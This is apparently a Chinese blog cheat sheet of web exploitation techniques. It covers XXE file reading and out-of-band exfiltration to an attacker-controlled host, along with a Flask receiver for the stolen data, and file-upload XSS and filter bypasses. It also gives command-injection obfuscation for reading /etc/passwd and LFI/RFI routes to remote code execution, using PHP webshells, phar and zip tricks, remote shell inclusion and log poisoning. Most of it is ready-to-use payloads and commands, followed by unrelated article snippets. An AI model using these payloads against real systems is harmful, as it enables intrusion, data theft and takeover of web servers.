渗透测试--Web基础漏洞利用技巧
渗透测试--Web基础漏洞利用技巧
本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。
SQL
俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》
XXE
XXE组成情况
钥匙 | 定义 | 例子 |
---|---|---|
Tag | XML 文档的键,通常用 ( < / > ) 字符括起来。 | <date> |
Entity | XML 变量,通常用 ( & / ; ) 字符括起来。 | < |
Element | 根元素或其任何子元素,其值存储在开始标记和结束标记之间。 | <date>01-01-2022</date> |
Attribute | 存储在标签中的任何元素的可选规范,可供 XML 解析器使用。 | version="1.0" /encoding="UTF-8" |
Declaration | 通常是 XML 文档的第一行,定义解析时使用的 XML 版本和编码。 | <?xml version="1.0" encoding="UTF-8"?> |
XXE回显点
输入的xml中会回显的内容
报错位置可能存在回显点
<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
服务器外带
#远程DTD文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">#XXE攻击交互
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">%remote;%oob;
]>
<root>&content;</root>
###外带python搭建服务器,个人使用,不喜勿喷
###解码后的文件存储于服务器中,传输成功显示404。
from flask import Flask, request, jsonify
import base64
import os
import uuid
from datetime import datetimeapp = Flask(__name__)# 定义存储文件的目录
SAVE_DIRECTORY = 'decoded_files'# 如果目录不存在,则创建目录
if not os.path.exists(SAVE_DIRECTORY):os.makedirs(SAVE_DIRECTORY)@app.route('/decode', methods=['GET'])
def decode_content():content = request.args.get('content')if content:try:# Base64 解码decoded_content = base64.b64decode(content).decode('utf-8')# 生成唯一文件名file_name = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{str(uuid.uuid4())}.txt"file_path = os.path.join(SAVE_DIRECTORY, file_name)# 将解码后的内容写入文件with open(file_path, 'w', encoding='utf-8') as f:f.write(decoded_content)return jsonify({'status': 'Notfound','message': '404'})except Exception as e:return jsonify({'status': 'error','message': f"Error decoding base64 content: {str(e)}"})else:return jsonify({'status': 'error','message': "No 'content' parameter found in the request."})if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5000)
XXE导致任意文件读取
#无害实体
<!DOCTYPE email [<!ENTITY company "Inlane Freight">
]>#文件泄露
<!DOCTYPE email [<!ENTITY company SYSTEM "file:///etc/passwd">
]>#源代码获取
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>#输出文件内容不以XML格式生成
<!DOCTYPE email [<!ENTITY % begin "<![CDATA["><!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!ENTITY % end "]]>"> <!ENTITY % xxe SYSTEM "http://10.10.16.20/xxe.dtd"> %xxe;
]>#引用实体
&company;
XXE导致SSRF
XXE导致RCE
#RCE
<!DOCTYPE email [<!ENTITY company SYSTEM "php://expect:">
]>
XXE自动化工具
https://github.com/enjoiz/XXEinjector
XSS
基本的绕过手段都在网上可查
文件上传
文件上传木马文件
老生常谈了,基本的文件上传利用,在此不做赘述,我知道你们喜欢更有意思的
文件上传导致XSS
如果上传文件的内容在HTLM当中存在回显,我们应当十分注意,这可能造成XSS。造成XSS主要有以下情况:
1.接受文件接受HTLM的文档,有时候开发人员会犯一点小错误,也就是说,HTML会解析JS
2.接受文件内容以未编码形式展示在HTLM页面中,那么我们可以送他们一个<>来闭合他们的标签
3.接受文件名可能会回显,例如我们好心的开发人员会再次念出我们文件的名字。
接受文件接受HTLM的文档
###上传文件HTML#发送HTML页面代码
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>#服务器端接受并解析HTLM文件
<body><div>Hey Guys!</div>
<script>alert("You are pWn3d!")</script>
</body>
接受文件内容以未编码形式展示在HTLM页面中
###接受文件内容未编码情况嵌入HTML中
#上传文件
filename="evil.jpg"
content='''><img src=1 onerror=alert(1)
'''#接受未编码jpg文件的内容直接放出来
<body><img><img src=1 onerror=alert(1)>
<body>
接受文件名可能会回显
###接受文件名回显
#上传文件
filename="<script>alert(1)</script>.txt"#上传成功页面
<body><p> 恭喜你上传成功<script>alert(1)<script>.txt文件! </p>
<body>
文件上传导致XXE
svg文件的上传点可能导致XXE问题,因为svg文件本身是以xml解析的,如果没有很好的控制,XXE就会冒头。
###svg文件上传导致XXE
#上传文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>#svg文件被接受并作为头像
很好他死了!
文件上传绕过黑名单
枚举可扩展名,总有一款适合他
文件上传绕过白名单
双扩展
反向双扩展
字符注入
双扩展
#只接受.jpg
.php.jpg
反向双扩展
#只接受.jpg
.jpg.php
字符注入
#只接受.jpg
.jpg{char}.phpchar = [
'%00',
'%0a',
'%20',
'%0d0a',
'.\',
'/',
'.',
'...',
':'
]
寻找文件上传位置
上传了宝贝,这种好事儿总不能让服务器一个人独享,我们必须找到他。
过长文件名让应用报错
发送已经存在的文件
在页面中查看图片的引用位置
命令注入
命令注入是我们非常期望的东西了,因为他可以直接造成RCE,这很严重。自然这种攻击的防护也就最为众多。我们需要总结出一套绕过他们的手段。
命令注入可以注入的操作字符
注入操作符 | 注塑件 | URL 编码字符 | 执行的命令 |
---|---|---|---|
分号 | ; | %3b | 两个都 |
新线 | \n | %0a | 两个都 |
背景 | & | %26 | 两者(第二个输出通常首先显示) |
管道 | | | %7c | 两者(仅显示第二个输出) |
和 | && | %26%26 | 两者(仅当第一个成功时) |
或者 | || | %7c%7c | 第二(仅当第一失败时) |
子壳 | `` | %60%60 | 两者(仅限 Linux) |
子壳 | $() | %24%28%29 | 两者(仅限 Linux) |
注射类型 | 运算符 |
---|---|
SQL 注入 | ' , ; -- /* */ |
命令注入 | ; && |
LDAP 注入 | * ( ) & | |
XPath 注入 | ' or and not substring concat count |
操作系统命令注入 | ; & | |
代码注入 | ' ; -- /* */ $() ${} #{} %{} ^ |
目录遍历/文件路径遍历 | ../ ..\\ %00 |
对象注入 | ; & | |
XQuery 注入 | ' ; -- /* */ |
Shellcode 注入 | \x \u %u %n |
标头注入 | \n \r\n \t %0d %0a %09 |
黑名单绕过之字符替换
%09 空格替代${IFS} 制表符和空格{ls,-al} 等于"ls -al",可用于替代空格${PATH:0:1} 等于/ 该方法的原理是使用了Linux中的环境变量和字符串切割${LS_COLORS:10:1} 等于; 该方法的原理是使用了Linux中的环境变量和字符串切割$env:HOMEPATH[0] 等于/ 该方法的原理是使用了Win中的环境变量和字符串切割$env:PROGRAMFILES[10] 等于空格 该方法的原理是使用了Win中的环境变量和字符串切割' 等于空气 bash语言会无视它,who'am'i" 等于空气 bash语言会无视它 $@ 等于空气 bash语言会无视它 \ 等于空气 bash语言会无视它 WhAMi 大小写大法! 仅适用于Windows
使用案例
#base64编码
echo -n 'cat /etc/passwd | grep 33' | base64#Linux
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
$(a="WhOaMi";printf %s "${a,,}")
$(rev<<<'imaohw')
$('imaohw'[-1..-20] -join '')
$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) ##实际尝试发现这种情况下不能编码空格
`{base64,-d}<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==` ##这种方式可以编码空格#Windows
$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))
自动化工具Bashfuscator
Linux - 我们可以利用Bashfuscator
Windows - DOSfuscation
LFI
可能发生包含的语言
PHP
NodeJS
Java
.net
data协议包含执行导致RCE
cmundy2@htb[/htb]$ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)
php伪协议包含执行导致RCE
cmundy2@htb[/htb]$ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uiduid=33(www-data) gid=33(www-data) groups=33(www-data)
expect函数执行URL流导致RCE
##在后端服务器安装expect#检验是否暗装expect
echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expectextension=expect#若开启该插件,那么就可以RCE而不需要webshell
cmundy2@htb[/htb]$ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RFI从远程FTP服务器执行文件导致RCE
cmundy2@htb[/htb]$ curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'
...SNIP...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RFI从远程HTTP服务器执行文件导致RCE
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
RFI从远程SMB服务器执行文件导致RCE
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
LFI包含任意扩展名文件
不论是本地的还是远程的皆有可能,=3=
###gif包含
cmundy2@htb[/htb]$ echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id###PHP包含
cmundy2@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id###phar包含
cat shell.php<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');$phar->stopBuffering();#构造phar文件
cmundy2@htb[/htb]$ php --define phar.readonly=0 shell.php && mv shell.phar shell.jpghttp://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
向日志投毒然后使用LFI包含日志导致RCE
#修改Agent 将php代码写入日志当中#然后爆破日志位置#根据日志位置包含日志,执行php脚本
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log#这些都可以
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
/proc/self/environ
/proc/self/fd/N
自动化手段
最常见的 LFI 工具是LFISuite、LFiFreak和liffy
相关文章:
渗透测试--Web基础漏洞利用技巧
渗透测试--Web基础漏洞利用技巧 本文章写了Web基础漏洞中一些不那么常见的利用技巧,而不谈及漏洞的原理以及常见用法。 SQL 俺是SQLmap党,哈哈,所以这块就不多讲了。详情可见文章《渗透测试--SQLmap_渗透测试sqlmap-CSDN博客》 XXE XXE组成…...
SpringBoot下载文件的几种方式
小文件:直接将文件一次性读取到内存中,文件大可能会导致OOM GetMapping("/download1")public void download1(HttpServletResponse response) throws IOException {// 指定要下载的文件File file new File("C:\\Users\\syd\\Desktop\\do…...

教程:从pycharm基于anaconda构建机器学习环境并运行第一个 Python 文件
1. 安装 PyCharm 访问 PyCharm 官方网站:https://www.jetbrains.com/pycharm/。下载社区版(免费)或专业版(收费,提供更多功能)。按照操作系统的安装指导安装 PyCharm。安装后打开 PyCharm,并根…...
我用Ai学Android Jetpack Compose之Button
答案来自 通义千问,代码同样需要到Android Studio里实践,才能学会。完整工程代码见文末。 我要学Button,麻烦介绍一下 当然可以!Button 是 Jetpack Compose 中用于创建可点击按钮的 Composable 函数。它提供了丰富的配置选项来定…...

修改secure-file-priv参数-mysql5.7.26限制不允许导入或导出的解决方法
文章目录 前言secure_file_priv参数说明修改secure_file_priv参数的步骤 前言 本人是在sql注入的文件上传拿web shel 时所用到的写入文件权限遇到文件上传不成功的问题,记住修改后,重启mysql才生效,最后可以查看验证一下。 secure_file_priv…...
C# 设计模式(结构型模式):适配器模式
C# 设计模式(结构型模式):适配器模式 在软件开发中,我们经常会遇到需要将不同接口的组件结合在一起的情况。此时,适配器模式(Adapter Pattern)就派上了用场。它属于结构型设计模式,…...

Spring Cloud微服务多模块架构:父子工程搭建实践
一、前言 在现代微服务架构中,Spring Cloud 提供了一整套工具和技术栈来简化分布式系统的开发。为了更好地组织和管理复杂的微服务项目,使用 Maven 多模块(父子工程) 是一种高效的方法。 父子工程 是 Maven 中的一种项目结构…...
SkinnedMeshRenderer相关知识
SkinnedMeshRenderer和MeshRenderer unity中SkinnedMeshRenderer是CPU去更改顶点位置的。 而当使用MeshRenderer时,可以靠GPU来进行蒙皮(即更改顶点位置)。 SkinnedMeshRenderer是多线程处理的,在小程序游戏中,只支持…...

前端学习DAY30(水平)
子元素是在父元素的内容区中排列的,如果子元素的大小超过了父元素,则子元素会从 父元素中溢出,使用overflow属性设置父元素如何处理溢出的子元素 可选值:visible 默认值,子元素会从父元素中溢出,在父元素外…...

Spring boot 项目 Spring 注入 代理 并支持 代理对象使用 @Autowired 去调用其他服务
文章目录 类定义与依赖注入方法解析createCglibProxy注意事项setApplicationContext 方法createCglibProxy 方法 类定义与依赖注入 Service: 标识这是一个 Spring 管理的服务类。ApplicationContextAware: 实现该接口允许你在类中获取 ApplicationContext 对象,从而…...
Colyseus 与 HTTP API 的集成
Colyseus 与 HTTP API 的集成 在使用 Colyseus 开发实时多人应用时,通常需要与传统的 HTTP API 集成,例如用户身份验证、存储游戏数据、获取排行榜等。以下是 Colyseus 与 HTTP API 集成的详细介绍: 1. Colyseus 的基本架构 Colyseus 是一个…...

基于服务器部署的综合视频安防系统的智慧快消开源了。
智慧快消视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。国产化人工智能“…...

SpringBoot原理分析-1
SpringBoot原理分析 作为一个javaer,和boot打交道是很常见的吧。熟悉boot的人都会知道,启动一个springboot应用,就是用鼠标点一下启动main方法,然后等着就行了。我们来看看这个main里面。 SpringBootApplication public class E…...

HCIA-Access V2.5_7_5_XG(S)- GPON网络演进为XG(S)-PON网络
目前由于10 GPON ONU数量并没有得到大规模爆发,所以直接新建ODN网络成本相对较高,所以可以采用复用ODN的方案。 XG(S)-PON可以与GPON共享ODN 前面也介绍过GPON和10G GPON使用的波长,我们来回顾一下,在GPON网络中上行采用1310纳米波长,下行采用1490纳米的波长,而10G GPON…...

GPU算力平台的应用之任意门:任意穿搭匹配模型的应用教程
大家好,今天给大家介绍一下:GPU算力平台的应用之任意门:任意穿搭匹配模型的应用教程。 文章目录 一、GPU算力平台概述人工智能智能发展为什么需要GPU算力平台 二、注册与登录账号注册流程 三、平台的应用之Anydoor应用启动器选择Anydoor的应用场景Anydoo…...
如何利用人工智能算法优化知识分类和标签?
如何利用人工智能算法优化知识分类和标签? 聚类算法 原理与应用: 聚类算法是一种无监督学习算法,它可以根据数据的相似性将知识内容自动划分成不同的类别。例如,在文档知识库中,通过对文档内容的词向量表示应用 K -…...
Windows 11 系统中npm-cache优化
在 Windows 11 系统中,C:\Users\K\AppData\Local\npm-cache 文件夹是 npm(Node Package Manager) 用于缓存已下载的包的目录。缓存的存在可以加快包的安装速度,因为当再次安装相同的包时,npm 可以直接从缓存中获取&…...
Flink使用
Window下启动支持 下载或复制老版本的放在bin目录下即可; flink.bat echo off setlocalSET bin%~dp0 SET FLINK_HOME%bin%.. SET FLINK_LIB_DIR%FLINK_HOME%\lib SET FLINK_PLUGINS_DIR%FLINK_HOME%\pluginsSET JVM_ARGS-Xmx512mSET FLINK_JM_CLASSPATH%FLINK_LI…...

简易屏幕共享工具-基于WebSocket
前面写了两个简单的屏幕共享工具,不过那只是为了验证通过截屏的方式是否可行,因为通常手动截屏的频率很低,而对于视频来说它的帧率要求就很高了,至少要一秒30帧率左右。所以,经过实际的截屏工具验证,我了解…...
Redis——主从复制模式
文章目录 1. 引入2. 主从复制模式2.1 概念2.2 配置2.3 原理2.3.1 建立连接阶段2.3.2 命令传播阶段2.3.3 心跳检测机制2.3.4 部分重同步机制(1) 主节点通过 复制积压缓冲区 记录写命令(2) 主节点通过 复制偏移量 判断从节点是否满足执行部分重同步的条件(3) 执行部分重同步操作 …...

Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...

【单片机期末】单片机系统设计
主要内容:系统状态机,系统时基,系统需求分析,系统构建,系统状态流图 一、题目要求 二、绘制系统状态流图 题目:根据上述描述绘制系统状态流图,注明状态转移条件及方向。 三、利用定时器产生时…...
汇编常见指令
汇编常见指令 一、数据传送指令 指令功能示例说明MOV数据传送MOV EAX, 10将立即数 10 送入 EAXMOV [EBX], EAX将 EAX 值存入 EBX 指向的内存LEA加载有效地址LEA EAX, [EBX4]将 EBX4 的地址存入 EAX(不访问内存)XCHG交换数据XCHG EAX, EBX交换 EAX 和 EB…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...

华为OD机考-机房布局
import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...
为什么要创建 Vue 实例
核心原因:Vue 需要一个「控制中心」来驱动整个应用 你可以把 Vue 实例想象成你应用的**「大脑」或「引擎」。它负责协调模板、数据、逻辑和行为,将它们变成一个活的、可交互的应用**。没有这个实例,你的代码只是一堆静态的 HTML、JavaScript 变量和函数,无法「活」起来。 …...
Spring AI Chat Memory 实战指南:Local 与 JDBC 存储集成
一个面向 Java 开发者的 Sring-Ai 示例工程项目,该项目是一个 Spring AI 快速入门的样例工程项目,旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计,每个模块都专注于特定的功能领域,便于学习和…...
华为OD最新机试真题-数组组成的最小数字-OD统一考试(B卷)
题目描述 给定一个整型数组,请从该数组中选择3个元素 组成最小数字并输出 (如果数组长度小于3,则选择数组中所有元素来组成最小数字)。 输入描述 行用半角逗号分割的字符串记录的整型数组,0<数组长度<= 100,0<整数的取值范围<= 10000。 输出描述 由3个元素组成…...